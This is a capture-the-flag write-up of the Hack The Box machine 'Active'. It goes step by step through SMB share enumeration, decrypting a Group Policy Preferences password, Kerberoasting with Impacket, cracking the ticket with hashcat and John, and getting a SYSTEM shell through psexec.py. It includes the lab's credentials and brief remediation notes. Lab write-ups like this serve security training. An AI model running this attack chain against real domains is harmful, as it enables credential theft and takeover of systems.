Rachit Arora

HTB: Active

Oct 04, 2023


Active was an example of an easy box that still provided a lot of opportunity to learn. The box was centered around common vulnerabilities associated with Active Directory. There’s a good chance to practice SMB enumeration. It also gives the opportunity to use Kerberoasting against a Windows Domain, which, if you’re not a pentester, you may not have had the chance to do before.


Port Scan Results

IP AddressPorts Open 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5722, 9389
 UDP: 123, 137

SMB Enumeration - I

Since this is a Windows host, Enumerating any readable shares can be really useful.

smbmap -H


And we see that we can only access the share Replication.

Connecting to the share using smbclient

smbclient //


Once we gain access to the share, we can locate a file named Groups.xml within the directory path


Upon examining this file, we will discover both a username and an encrypted password.


<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>

GPP Passwords

Whenever a new Group Policy Preference (GPP) is created, there’s an xml file created in the SYSVOL share with that config data, including any passwords associated with the GPP. For security, Microsoft AES encrypts the password before it’s stored as cpassword. But then Microsoft published the key on MSDN!

Microsoft issued a patch in 2014 that prevented admins from putting passwords into GPP. For more details, check out this AD Security post.

Decrypting GPP

a tool called “gpp-decrypt” that can be utilized for decrypting GPP (Group Policy Preferences) passwords.


gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

And we got the password GPPstillStandingStrong2k18.

SMB Enumeration - II

With a username and password, I can access 3 more shares

There is a Users share that looks interesting

smbmap -H -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] Finding open SMB ports....
[+] User SMB session establishd on
[+] IP:        Name:                                      
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ ONLY
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY
        Users                                                   READ ON

Connecting to the SMB share using smbclient

smbclient // -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18

And that is enough to get user.txt

Initial Access – Kerberoasting

Vulnerability Explanation: Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password.

Vulnerability Fix: Consider using Group Managed Service Accounts rather than service accounts with static passwords . Consider upgrading to an Active Directory Domain or forest level which supports advanced Kerberos armoring. More information here

Severity: High

Steps to reproduce the attack: Since we already possess credentials, we’ll use the “GetUserSPNs.py” script from Impacket. This script will enable us to retrieve a list of service usernames linked to regular user accounts and obtain a ticket that I can attempt to crack.

Proof of Concept

GetUserSPNs.py -request -dc-ip active.htb/SVC_TGS -save -outputfile GetUserSPNs.out

It also gives me the ticket, which I can try to brute force decrypt to get the user’s password:

Cracking the ticket

With John

./john admin.txt --wordlist=/usr/share/wordlists/rockyou.txt

If youre facing errors, make sure you use the jumbo version of john.

With Hashcat

$ hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force

And we got the administrator password : Ticketmaster1968

Administrator Access

As we already have admin creds through kerberoasting, we can get the system shell using psexec.py

psexec.py active.htb/administrator@
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file dMCaaHzA.exe
[*] Opening SVCManager on
[*] Creating service aYMa on
[*] Starting service aYMa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

nt authority\system

Have any questions

Do you have any questions? Feel free to reach out to me on twitter or on LinkedIn.